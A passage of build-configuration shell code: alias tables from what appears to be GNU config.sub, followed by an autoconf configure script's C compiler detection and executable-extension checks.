mips64vr5000 | mips64vr5000el \ | mipsisa32 | mipsisa32el \ | mipsisa32r2 | mipsisa32r2el \ | mipsisa64 | mipsisa64el \ | mipsisa64r2 | mipsisa64r2el \ | mipsisa64sb1 | mipsisa64sb1el \ | mipsisa64sr71k | mipsisa64sr71kel \ | mipstx39 | mipstx39el \ | mn10200 | mn10300 \ | msp430 \ | ns16k | ns32k \ | openrisc | or32 \ | pdp10 | pdp11 | pj | pjl \ | powerpc | powerpc64 | powerpc64le | powerpcle | ppcbe \ | pyramid \ | sh | sh[1234] | sh[23]e | sh[34]eb | shbe | shle | sh[1234]le | sh3ele \ | sh64 | sh64le \ | sparc | sparc64 | sparc64b | sparc86x | sparclet | sparclite \ | sparcv8 | sparcv9 | sparcv9b \ | strongarm \ | tahoe | thumb | tic4x | tic80 | tron \ | v850 | v850e \ | we32k \ | x86 | xscale | xscalee[bl] | xstormy16 | xtensa \ | z8k) basic_machine=$basic_machine-unknown ;; m6811 | m68hc11 | m6812 | m68hc12) # Motorola 68HC11/12. basic_machine=$basic_machine-unknown os=-none ;; m88110 | m680[12346]0 | m683?2 | m68360 | m5200 | v70 | w65 | z8k) ;; # We use `pc' rather than `unknown' # because (1) that's what they normally are, and # (2) the word "unknown" tends to confuse beginning users. i*86 | x86_64) basic_machine=$basic_machine-pc ;; # Object if more than one company name word. *-*-*) echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2 exit 1 ;; # Recognize the basic CPU types with company name. 580-* \ | a29k-* \ | alpha-* | alphaev[4-8]-* | alphaev56-* | alphaev6[78]-* \ | alpha64-* | alpha64ev[4-8]-* | alpha64ev56-* | alpha64ev6[78]-* \ | alphapca5[67]-* | alpha64pca5[67]-* | arc-* \ | arm-* | armbe-* | armle-* | armeb-* | armv*-* \ | avr-* \ | bfin-* | bs2000-* \ | c[123]* | c30-* | [cjt]90-* | c4x-* | c54x-* | c55x-* | c6x-* \ | clipper-* | craynv-* | cydra-* \ | d10v-* | d30v-* | dlx-* \ | elxsi-* \ | f30[01]-* | f700-* | fr30-* | frv-* | fx80-* \ | h8300-* | h8500-* \ | hppa-* | hppa1.[01]-* | hppa2.0-* | hppa2.0[nw]-* | hppa64-* \ | i*86-* | i860-* | i960-* | ia64-* \ | ip2k-* | iq2000-* \ | m32r-* | m32rle-* \ | m68000-* | m680[012346]0-* | m68360-* | m683?2-* | m68k-* \ | m88110-* | m88k-* | maxq-* | mcore-* \ | mips-* | mipsbe-* | mipseb-* | mipsel-* | mipsle-* \ | mips16-* \ | mips64-* | mips64el-* \ | mips64vr-* | mips64vrel-* \ | mips64orion-* | mips64orionel-* \ | mips64vr4100-* | mips64vr4100el-* \ | mips64vr4300-* | mips64vr4300el-* \ | mips64vr5000-* | mips64vr5000el-* \ | mipsisa32-* | mipsisa32el-* \ | mipsisa32r2-* | mipsisa32r2el-* \ | mipsisa64-* | mipsisa64el-* \ | mipsisa64r2-* | mipsisa64r2el-* \ | mipsisa64sb1-* | mipsisa64sb1el-* \ | mipsisa64sr71k-* | mipsisa64sr71kel-* \ | mipstx39-* | mipstx39el-* \ | mmix-* \ | msp430-* \ | none-* | np1-* | ns16k-* | ns32k-* \ | orion-* \ | pdp10-* | pdp11-* | pj-* | pjl-* | pn-* | power-* \ | powerpc-* | powerpc64-* | powerpc64le-* | powerpcle-* | ppcbe-* \ | pyramid-* \ | romp-* | rs6000-* \ | sh-* | sh[1234]-* | sh[23]e-* | sh[34]eb-* | shbe-* \ | shle-* | sh[1234]le-* | sh3ele-* | sh64-* | sh64le-* \ | sparc-* | sparc64-* | sparc64b-* | sparc86x-* | sparclet-* \ | sparclite-* \ | sparcv8-* | sparcv9-* | sparcv9b-* | strongarm-* | sv1-* | sx?-* \ | tahoe-* | thumb-* \ | tic30-* | tic4x-* | tic54x-* | tic55x-* | tic6x-* | tic80-* \ | tron-* \ | v850-* | v850e-* | vax-* \ | we32k-* \ | x86-* | x86_64-* | xps100-* | xscale-* | xscalee[bl]-* \ | xstormy16-* | xtensa-* \ | ymp-* \ | z8k-*) ;; # Recognize the various machine names and aliases which stand # for a CPU type and a company and sometimes even an OS. 386bsd) basic_machine=i386-unknown os=-bsd ;; 3b1 | 7300 | 7300-att | att-7300 | pc7300 | safari | unixpc) basic_machine=m68000-att ;; 3b*) basic_machine=we32k-att ;; a29khif) basic_machine=a29k-amd os=-udi ;; abacus) basic_machine=abacus-unknown ;; adobe68k) basic_machine=m68010-adobe os=-scout ;; alliant | fx80) basic_machine=fx80-alliant ;; altos | altos3068) basic_machine=m68k-altos ;; am29k) basic_machine=a29k-none os=-bsd ;; amd64) basic_machine=x86_64-pc ;; amd64-*) basic_machine=x86_64-`echo $basic_machine | sed 's/^[^-]*-//'` ;; amdahl) basic_machine=580-amdahl os=-sysv ;; amiga | amiga-*) basic_machine=m68k-unknown ;; amigaos | amigados) basic_machine=m68k-unknown os=-amigaos ;; amigaunix | amix) basic_machine=m68k-unknown os=-sysv4 ;; apollo68) basic_machine=m68k-apollo os=-sysv ;; apollo68bsd) basic_machine=m68k-apollo os=-bsd ;; aux) basic_machine=m68k-apple os=-aux ;; balance) basic_machine=ns32k-sequent os=-dynix ;; c90) basic_machine=c90-cray os=-unicos ;; convex-c1) basic_machine=c1-convex os=-bsd ;; convex-c2) basic_machine=c2-convex os=-bsd ;; convex-c32) basic_machine=c32-convex os=-bsd ;; convex-c34) basic_machine=c34-convex os=-bsd ;; convex-c38) basic_machine=c38-convex os=-bsd ;; cray | j90) basic_machine=j90-cray os=-unicos ;; craynv) basic_machine=craynv-cray os=-unicosmp ;; cr16c) basic_machine=cr16c-unknown os=-elf ;; crds | unos) basic_machine=m68k-crds ;; crisv32 | crisv32-* | etraxfs*) basic_machine=crisv32-axis ;; cris | cris-* | etrax*) basic_machine=cris-axis ;; crx) basic_machine=crx-unknown os=-elf ;; da30 | da30-*) basic_machine=m68k-da30 ;; decstation | decstation-3100 | pmax | pmax-* | pmin | dec3100 | decstatn) basic_machine=mips-dec ;; decsystem10* | dec10*) basic_machine=pdp10-dec os=-tops10 ;; decsystem20* | dec20*) basic_machine=pdp10-dec os=-tops20 ;; delta | 3300 | motorola-3300 | motorola-delta \ | 3300-motorola | delta-motorola) basic_machine=m68k-motorola ;; delta88) basic_machine=m88k-motorola os=-sysv3 ;; djgpp) basic_machine=i586-pc os=-msdosdjgpp ;; dpx20 | dpx20-*) basic_machine=rs6000-bull os=-bosx ;; dpx2* | dpx2*-bull) basic_machine=m68k-bull os=-sysv3 ;; ebmon29k) basic_machine=a29k-amd os=-ebmon ;; elxsi) basic_machine=elxsi-elxsi os=-bsd ;; encore | umax | mmax) basic_machine=ns32k-encore ;; es1800 | OSE68k | ose68k | ose | OSE) basic_machine=m68k-ericsson os=-ose ;; fx2800) basic_machine=i860-alliant ;; genix) basic_machine=ns32k-ns ;; gmicro) basic_machine=tron-gmicro os=-sysv ;; go32) basic_machine=i386-pc os=-go32 ;; h3050r* | hiux*) basic_machine=hppa1.1-hitachi os=-hiuxwe2 ;; h8300hms) basic_machine=h8300-hitachi os=-hms ;; h8300xray) basic_machine=h8300-hitachi os=-xray ;; h8500hms) basic_machine=h8500-hitachi os=-hms ;; harris) basic_machine=m88k-harris os=-sysv3 ;; hp300-*) basic_machine=m68k-hp ;; hp300bsd) basic_machine=m68k-hp os=-bsd ;; hp300hpux) basic_machine=m68k-hp os=-hpux ;; hp3k9[0-9][0-9] | hp9[0-9][0-9]) basic_machine=hppa1.0-hp ;; hp9k2[0-9][0-9] | hp9k31[0-9]) basic_machine=m68000-hp ;; hp9k3[2-9][0-9]) basic_machine=m68k-hp ;; hp9k6[0-9][0-9] | hp6[0-9][0-9]) basic_machine=hppa1.0-hp ;; hp9k7[0-79][0-9] | hp7[0-79][0-9]) basic_machine=hppa1.1-hp ;; hp9k78[0-9] | hp78[0-9]) # FIXME: really hppa2.0-hp basic_machine=hppa1.1-hp ;; hp9k8[67]1 | hp8[67]1 | hp9k80[24] | hp80[24] | hp9k8[78]9 | hp8[78]9 | hp9k893 | hp893) # FIXME: really hppa2.0-hp basic_machine=hppa1.1-hp ;; hp9k8[0-9][13679] | hp8[0-9][13679]) basic_machine=hppa1.1-hp ;; hp9k8[0-9][0-9] | hp8[0-9][0-9]) basic_machine=hppa1.0-hp ;; hppa-next) os=-nextstep3 ;; hppaosf) basic_machine=hppa1.1-hp os=-osf ;; hppro) basic_machine=hppa1.1-hp os=-proelf ;; i370-ibm* | ibm*) basic_machine=i370-ibm ;; # I'm not sure what "Sysv32" means. Should this be sysv3.2? i*86v32) basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` os=-sysv32 ;; i*86v4*) basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` os=-sysv4 ;; i*86v) basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` os=-sysv ;; i*86sol2) basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` os=-solaris2 ;; i386mach) basic_machine=i386-mach os=-mach ;; i386-vsta | vsta) basic_machine=i386-unknown os=-vsta ;; iris | iris4d) basic_machine=mips-sgi case $os in -irix*) ;; *) os=-irix4 ;; esac ;; isi68 | isi) basic_machine=m68k-isi os=-sysv ;; m88k-omron*) basic_machine=m88k-omron ;; magnum | m3230) basic_machine=mips-mips os=-sysv ;; merlin) basic_machine=ns32k-utek os=-sysv ;; mingw32) basic_machine=i386-pc os=-mingw32 ;; miniframe) basic_machine=m68000-convergent ;; *mint | -mint[0-9]* | *MiNT | *MiNT[0-9]*) basic_machine=m68k-atari os=-mint ;; mips3*-*) basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'` ;; mips3*) basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'`-unknown ;; monitor) basic_machine=m68k-rom68k os=-coff ;; morphos) basic_machine=powerpc-unknown os=-morphos ;; msdos) basic_machine=i386-pc os=-msdos ;; mvs) basic_machine=i370-ibm os=-mvs ;; ncr3000) basic_machine=i486-ncr os=-sysv4 ;; netbsd386) basic_machine=i386-unknown os=-netbsd ;; netwinder) basic_machine=armv4l-rebel os=-linux ;; news | news700 | news800 | news900) basic_machine=m68k-sony os=-newsos ;; news1000) basic_machine=m68030-sony os=-newsos ;; news-3600 | risc-news) basic_machine=mips-sony os=-newsos ;; necv70) basic_machine=v70-nec os=-sysv ;; next | m*-next ) basic_machine=m68k-next case $os in -nextstep* ) ;; -ns2*) os=-nextstep2 ;; *) os=-nextstep3 ;; esac ;; nh3000) basic_machine=m68k-harris os=-cxux ;; nh[45]000) basic_machine=m88k-harris os=-cxux ;; nindy960) basic_machine=i960-intel os=-nindy ;; mon960) basic_machine=i960-intel os=-mon960 ;; nonstopux) basic_machine=mips-compaq os=-nonstopux ;; np1) basic_machine=np1-gould ;; nsr-tandem) basic_machine=nsr-tandem ;; op50n-* | op60c-*) basic_machine=hppa1.1-oki os=-proelf ;; or32 | or32-*) basic_machine=or32-unknown os=-coff ;; os400) basic_machine=powerpc-ibm os=-os400 ;; OSE68000 | ose68000) basic_machine=m68000-ericsson os=-ose ;; os68k) basic_machine=m68k-none os=-os68k ;; pa-hitachi) basic_machine=hppa1.1-hitachi os=-hiuxwe2 ;; paragon) basic_machine=i860-intel os=-osf ;; pbd) basic_machine=sparc-tti ;; pbb) basic_machine=m68k-tti ;; pc532 | pc532-*) basic_machine=ns32k-pc532 ;; pentium | p5 | k5 | k6 | nexgen | viac3) basic_machine=i586-pc ;; pentiumpro | p6 | 6x86 | athlon | athlon_*) basic_machine=i686-pc ;; pentiumii | pentium2 | pentiumiii | pentium3) basic_machine=i686-pc ;; pentium4) basic_machine=i786-pc ;; pentium-* | p5-* | k5-* | k6-* | nexgen-* | viac3-*) basic_machine=i586-`echo $basic_machine | sed 's/^[^-]*-//'` ;; pentiumpro-* | p6-* | 6x86-* | athlon-*) basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'` ;; pentiumii-* | pentium2-* | pentiumiii-* | pentium3-*) basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'` ;; pentium4-*) basic_machine=i786-`echo $basic_machine | sed 's/^[^-]*-//'` ;; pn) basic_machine=pn-gould ;; power) basic_machine=power-ibm ;; ppc) basic_machine=powerpc-unknown ;; ppc-*) basic_machine=powerpc-`echo $basic_machine | sed 's/^[^-]*-//'` ;; ppcle | powerpclittle | ppc-le | powerpc-little) basic_machine=powerpcle-unknown ;; ppcle-* | powerpclittle-*) basic_machine=powerpcle-`echo $basic_machine | sed 's/^[^-]*-//'` ;; ppc64) basic_machine=powerpc64-unknown ;; ppc64-*) basic_machine=powerpc64-`echo $basic_machine | sed 's/^[^-]*-//'` ;; ppc64le | powerpc64little | ppc64-le | powerpc64-little) basic_machine=powerpc64le-unknown ;; ppc64le-* | powerpc64little-*) basic_machine=powerpc64le-`echo $basic_machine | sed 's/^[^-]*-//'` ;; ps2) basic_machine=i386-ibm ;; pw32) basic_machine=i586-unknown os=-pw32 ;; rom68k) basic_machine=m68k-rom68k os=-coff ;; rm[46]00) basic_machine=mips-siemens ;; rtpc | rtpc-*) basic_machine=romp-ibm ;; s390 | s390-*) basic_machine=s390-ibm ;; s390x | s390x-*) basic_machine=s390x-ibm ;; sa29200) basic_machine=a29k-amd os=-udi ;; sb1) basic_machine=mipsisa64sb1-unknown ;; sb1el) basic_machine=mipsisa64sb1el-unknown ;; sei) basic_machine=mips-sei os=-seiux ;; sequent) basic_machine=i386-sequent ;; sh) basic_machine=sh-hitachi os=-hms ;; sh64) basic_machine=sh64-unknown ;; sparclite-wrs | simso-wrs) basic_machine=sparclite-wrs os=-vxworks ;; sps7) basic_machine=m68k-bull os=-sysv2 ;; spur) basic_machine=spur-unknown ;; st2000) basic_machine=m68k-tandem ;; stratus) basic_machine=i860-stratus os=-sysv4 ;; sun2) basic_machine=m68000-sun ;; sun2os3) basic_machine=m68000-sun os=-sunos3 ;; sun2os4) basic_machine=m68000-sun os=-sunos4 ;; sun3os3) basic_machine=m68k-sun os=-sunos3 ;; sun3os4) basic_machine=m68k-sun os=-sunos4 ;; sun4os3) basic_machine=sparc-sun os=-sunos3 ;; sun4os4) basic_machine=sparc-sun os=-sunos4 ;; sun4sol2) basic_machine=sparc-sun os=-solaris2 ;; sun3 | sun3-*) basic_machine=m68k-sun ;; sun4) basic_machine=sparc-sun ;; sun386 | sun386i | roadrunner) basic_machine=i386-sun ;; sv1) basic_machine=sv1-cray os=-unicos ;; symmetry) basic_machine=i386-sequent os=-dynix ;; t3e) basic_machine=alphaev5-cray os=-unicos ;; t90) basic_machine=t90-cray os=-unicos ;; tic54x | c54x*) basic_machine=tic54x-unknown os=-coff ;; tic55x | c55x*) basic_machine=tic55x-unknown os=-coff ;; tic6x | c6x*) basic_machine=tic6x-unknown os=-coff ;; tx39) basic_machine=mipstx39-unknown ;; tx39el) basic_machine=mipstx39el-unknown ;; toad1) basic_machine=pdp10-xkl os=-tops20 ;; tower | tower-32) basic_machine=m68k-ncr ;; tpf) basic_machine=s390x-ibm os=-tpf ;; udi29k) basic_machine=a29k-amd os=-udi ;; ultra3) basic_machine=a29k-nyu os=-sym1 ;; v810 | necv810) basic_machine=v810-nec os=-none ;; vaxv) basic_machine=vax-dec os=-sysv ;; vms) basic_machine=vax-dec os=-vms ;; vpp*|vx|vx-*) basic_machine=f301-fujitsu ;; vxworks960) basic_machine=i960-wrs os=-vxworks ;; vxworks68) basic_machine=m68k-wrs os=-vxworks ;; vxworks29k) basic_machine=a29k-wrs os=-vxworks ;; w65*) basic_machine=w65-wdc os=-none ;; w89k-*) basic_machine=hppa1.1-winbond os=-proelf ;; xbox) basic_machine=i686-pc os=-mingw32 ;; xps | xps100) basic_machine=xps100-honeywell ;; ymp) basic_machine=ymp-cray os=-unicos ;; z8k-*-coff) basic_machine=z8k-unknown os=-sim ;; none) basic_machine=none-none os=-none ;; # Here we handle the default manufacturer of certain CPU types. It is in # some cases the only manufacturer, in others, it is the most popular. w89k) basic_machine=hppa1.1-winbond ;; op50n) basic_machine=hppa1.1-oki ;; op60c) basic_machine=hppa1.1-oki ;; romp) basic_machine=romp-ibm ;; mmix) basic_machine=mmix-knuth ;; rs6000) basic_machine=rs6000-ibm ;; vax) basic_machine=vax-dec ;; pdp10) # there are many clones, so DEC is not a safe bet basic_machine=pdp10-unknown ;; pdp11) basic_machine=pdp11-dec ;; we32k) basic_machine=we32k-att ;; sh3 | sh4 | sh[34]eb | sh[1234]le | sh[23]ele) basic_machine=sh-unknown ;; sh64) basic_machine=sh64-unknown ;; sparc | sparcv8 | sparcv9 | sparcv9b) basic_machine=sparc-sun ;; cydra) basic_machine=cydra-cydrome ;; orion) basic_machine=orion-highlevel ;; orion105) basic_machine=clipper-highlevel ;; mac | mpw | mac-mpw) basic_machine=m68k-apple ;; pmac | pmac-mpw) basic_machine=powerpc-apple ;; *-unknown) # Make sure to match an already-canonicalized machine name. ;; *) echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2 exit 1 ;; esac # Here we canonicalize certain aliases for manufacturers. case $basic_machine in *-digital*) basic_machine=`echo $basic_machine | sed 's/digital.*/dec/'` ;; *-commodore*) basic_machine=`echo $basic_machine | sed 's/commodore.*/cbm/'` ;; *) ;; esac # Decode manufacturer-specific aliases for certain operating systems. if [ x"$os" != x"" ] then case $os in # First match some system type aliases # that might get confused with valid system types. # -solaris* is a basic system type, with this one exception. -solaris1 | -solaris1.*) os=`echo $os | sed -e 's|solaris1|sunos4|'` ;; -solaris) os=-solaris2 ;; -svr4*) os=-sysv4 ;; -unixware*) os=-sysv4.2uw ;; -gnu/linux*) os=`echo $os | sed -e 's|gnu/linux|linux-gnu|'` ;; # First accept the basic system types. # The portable systems comes first. # Each alternative MUST END IN A *, to match a version number. # -sysv* is not here because it comes later, after sysvr4. -gnu* | -bsd* | -mach* | -minix* | -genix* | -ultrix* | -irix* \ | -*vms* | -sco* | -esix* | -isc* | -aix* | -sunos | -sunos[34]*\ | -hpux* | -unos* | -osf* | -luna* | -dgux* | -solaris* | -sym* \ | -amigaos* | -amigados* | -msdos* | -newsos* | -unicos* | -aof* \ | -aos* \ | -nindy* | -vxsim* | -vxworks* | -ebmon* | -hms* | -mvs* \ | -clix* | -riscos* | -uniplus* | -iris* | -rtu* | -xenix* \ | -hiux* | -386bsd* | -knetbsd* | -mirbsd* | -netbsd* | -openbsd* \ | -ekkobsd* | -kfreebsd* | -freebsd* | -riscix* | -lynxos* \ | -bosx* | -nextstep* | -cxux* | -aout* | -elf* | -oabi* \ | -ptx* | -coff* | -ecoff* | -winnt* | -domain* | -vsta* \ | -udi* | -eabi* | -lites* | -ieee* | -go32* | -aux* \ | -chorusos* | -chorusrdb* \ | -cygwin* | -pe* | -psos* | -moss* | -proelf* | -rtems* \ | -mingw32* | -linux-gnu* | -linux-uclibc* | -uxpv* | -beos* | -mpeix* | -udk* \ | -interix* | -uwin* | -mks* | -rhapsody* | -darwin* | -opened* \ | -openstep* | -oskit* | -conix* | -pw32* | -nonstopux* \ | -storm-chaos* | -tops10* | -tenex* | -tops20* | -its* \ | -os2* | -vos* | -palmos* | -uclinux* | -nucleus* \ | -morphos* | -superux* | -rtmk* | -rtmk-nova* | -windiss* \ | -powermax* | -dnix* | -nx6 | -nx7 | -sei* | -dragonfly*) # Remember, each alternative MUST END IN *, to match a version number. ;; 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do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_CC="${ac_tool_prefix}gcc" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then echo "$as_me:$LINENO: result: $CC" >&5 echo "${ECHO_T}$CC" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi fi if test -z "$ac_cv_prog_CC"; then ac_ct_CC=$CC # Extract the first word of "gcc", so it can be a program name with args. set dummy gcc; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_ac_ct_CC+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$ac_ct_CC"; then ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_ac_ct_CC="gcc" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done fi fi ac_ct_CC=$ac_cv_prog_ac_ct_CC if test -n "$ac_ct_CC"; then echo "$as_me:$LINENO: result: $ac_ct_CC" >&5 echo "${ECHO_T}$ac_ct_CC" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi CC=$ac_ct_CC else CC="$ac_cv_prog_CC" fi if test -z "$CC"; then if test -n "$ac_tool_prefix"; then # Extract the first word of "${ac_tool_prefix}cc", so it can be a program name with args. set dummy ${ac_tool_prefix}cc; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_CC+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_CC="${ac_tool_prefix}cc" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then echo "$as_me:$LINENO: result: $CC" >&5 echo "${ECHO_T}$CC" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi fi if test -z "$ac_cv_prog_CC"; then ac_ct_CC=$CC # Extract the first word of "cc", so it can be a program name with args. set dummy cc; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_ac_ct_CC+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$ac_ct_CC"; then ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_ac_ct_CC="cc" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done fi fi ac_ct_CC=$ac_cv_prog_ac_ct_CC if test -n "$ac_ct_CC"; then echo "$as_me:$LINENO: result: $ac_ct_CC" >&5 echo "${ECHO_T}$ac_ct_CC" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi CC=$ac_ct_CC else CC="$ac_cv_prog_CC" fi fi if test -z "$CC"; then # Extract the first word of "cc", so it can be a program name with args. set dummy cc; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_CC+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else ac_prog_rejected=no as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then if test "$as_dir/$ac_word$ac_exec_ext" = "/usr/ucb/cc"; then ac_prog_rejected=yes continue fi ac_cv_prog_CC="cc" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done if test $ac_prog_rejected = yes; then # We found a bogon in the path, so make sure we never use it. set dummy $ac_cv_prog_CC shift if test $# != 0; then # We chose a different compiler from the bogus one. # However, it has the same basename, so the bogon will be chosen # first if we set CC to just the basename; use the full file name. shift ac_cv_prog_CC="$as_dir/$ac_word${1+' '}$@" fi fi fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then echo "$as_me:$LINENO: result: $CC" >&5 echo "${ECHO_T}$CC" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi fi if test -z "$CC"; then if test -n "$ac_tool_prefix"; then for ac_prog in cl do # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args. set dummy $ac_tool_prefix$ac_prog; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_CC+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_CC="$ac_tool_prefix$ac_prog" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then echo "$as_me:$LINENO: result: $CC" >&5 echo "${ECHO_T}$CC" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi test -n "$CC" && break done fi if test -z "$CC"; then ac_ct_CC=$CC for ac_prog in cl do # Extract the first word of "$ac_prog", so it can be a program name with args. set dummy $ac_prog; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_ac_ct_CC+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$ac_ct_CC"; then ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_ac_ct_CC="$ac_prog" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done fi fi ac_ct_CC=$ac_cv_prog_ac_ct_CC if test -n "$ac_ct_CC"; then echo "$as_me:$LINENO: result: $ac_ct_CC" >&5 echo "${ECHO_T}$ac_ct_CC" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi test -n "$ac_ct_CC" && break done CC=$ac_ct_CC fi fi test -z "$CC" && { { echo "$as_me:$LINENO: error: no acceptable C compiler found in \$PATH See \`config.log' for more details." >&5 echo "$as_me: error: no acceptable C compiler found in \$PATH See \`config.log' for more details." >&2;} { (exit 1); exit 1; }; } # Provide some information about the compiler. echo "$as_me:$LINENO:" \ "checking for C compiler version" >&5 ac_compiler=`set X $ac_compile; echo $2` { (eval echo "$as_me:$LINENO: \"$ac_compiler --version &5\"") >&5 (eval $ac_compiler --version &5) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } { (eval echo "$as_me:$LINENO: \"$ac_compiler -v &5\"") >&5 (eval $ac_compiler -v &5) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } { (eval echo "$as_me:$LINENO: \"$ac_compiler -V &5\"") >&5 (eval $ac_compiler -V &5) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ int main () { ; return 0; } _ACEOF ac_clean_files_save=$ac_clean_files ac_clean_files="$ac_clean_files a.out a.exe b.out" # Try to create an executable without -o first, disregard a.out. # It will help us diagnose broken compilers, and finding out an intuition # of exeext. echo "$as_me:$LINENO: checking for C compiler default output file name" >&5 echo $ECHO_N "checking for C compiler default output file name... $ECHO_C" >&6 ac_link_default=`echo "$ac_link" | sed 's/ -o *conftest[^ ]*//'` if { (eval echo "$as_me:$LINENO: \"$ac_link_default\"") >&5 (eval $ac_link_default) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; then # Find the output, starting from the most likely. This scheme is # not robust to junk in `.', hence go to wildcards (a.*) only as a last # resort. # Be careful to initialize this variable, since it used to be cached. # Otherwise an old cache value of `no' led to `EXEEXT = no' in a Makefile. ac_cv_exeext= # b.out is created by i960 compilers. for ac_file in a_out.exe a.exe conftest.exe a.out conftest a.* conftest.* b.out do test -f "$ac_file" || continue case $ac_file in *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.o | *.obj ) ;; conftest.$ac_ext ) # This is the source file. ;; [ab].out ) # We found the default executable, but exeext='' is most # certainly right. break;; *.* ) ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` # FIXME: I believe we export ac_cv_exeext for Libtool, # but it would be cool to find out if it's true. Does anybody # maintain Libtool? --akim. export ac_cv_exeext break;; * ) 